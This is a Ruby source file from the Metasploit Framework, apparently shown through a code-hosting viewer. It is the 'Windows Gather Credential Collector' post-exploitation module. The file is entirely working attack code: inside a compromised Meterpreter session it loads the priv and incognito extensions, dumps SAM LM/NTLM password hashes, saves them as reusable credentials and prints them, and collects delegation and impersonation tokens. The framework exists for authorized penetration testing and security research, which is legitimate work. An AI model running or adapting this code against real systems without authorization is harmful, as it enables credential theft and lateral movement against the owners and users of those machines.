Path: blob/master/modules/post/windows/gather/credentials/credential_collector.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Credential Collector',13'Description' => %q{14This module harvests credentials found on the host and stores them in the database.15},16'License' => MSF_LICENSE,17'Author' => [ 'tebo[at]attackresearch.com'],18'Platform' => [ 'win' ],19'SessionTypes' => [ 'meterpreter'],20'Notes' => {21'Stability' => [CRASH_SAFE],22'SideEffects' => [],23'Reliability' => []24},25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28incognito_list_tokens29priv_passwd_get_sam_hashes30]31}32}33)34)35end3637def run38hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']39print_status("Running module against #{hostname} (#{session.session_host})")4041# Make sure we're rockin Priv and Incognito42session.core.use('priv') if !session.priv43session.core.use('incognito') if !session.incognito4445# It wasn't me mom! Stinko did it!46begin47hashes = client.priv.sam_hashes48rescue StandardError49fail_with(Failure::Unknown, "Error accessing hashes, did you migrate to a process that matched the target's architecture?")50end5152# Target infos for the db record53addr = session.session_host54# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)5556# Record hashes to the running db instance57print_good('Collecting hashes...')5859hashes.each do |hash|60# Build service information61service_data = {62address: addr,63port: 445,64service_name: 'smb',65protocol: 'tcp'66}6768# Build credential information69credential_data = {70origin_type: :session,71session_id: session_db_id,72post_reference_name: refname,73private_type: :ntlm_hash,74private_data: hash.lanman + ':' + hash.ntlm,75username: hash.user_name,76workspace_id: myworkspace_id77}7879credential_data.merge!(service_data)80credential_core = create_credential(credential_data)8182# Assemble the options hash for creating the Metasploit::Credential::Login object83login_data = {84core: credential_core,85status: Metasploit::Model::Login::Status::UNTRIED,86workspace_id: myworkspace_id87}8889login_data.merge!(service_data)90create_credential_login(login_data)9192print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"93end9495# Record user tokens96tokens = session.incognito.incognito_list_tokens(0)97raise Rex::Script::Completed if !tokens9899# Meh, tokens come to us as a formatted string100print_good 'Collecting tokens...'101(tokens['delegation'] + tokens['impersonation']).split("\n").each do |token|102data = {}103data[:host] = addr104data[:type] = 'smb_token'105data[:data] = token106data[:update] = :unique_data107108print_line " #{data[:data]}"109110report_note(data)111end112end113end114115116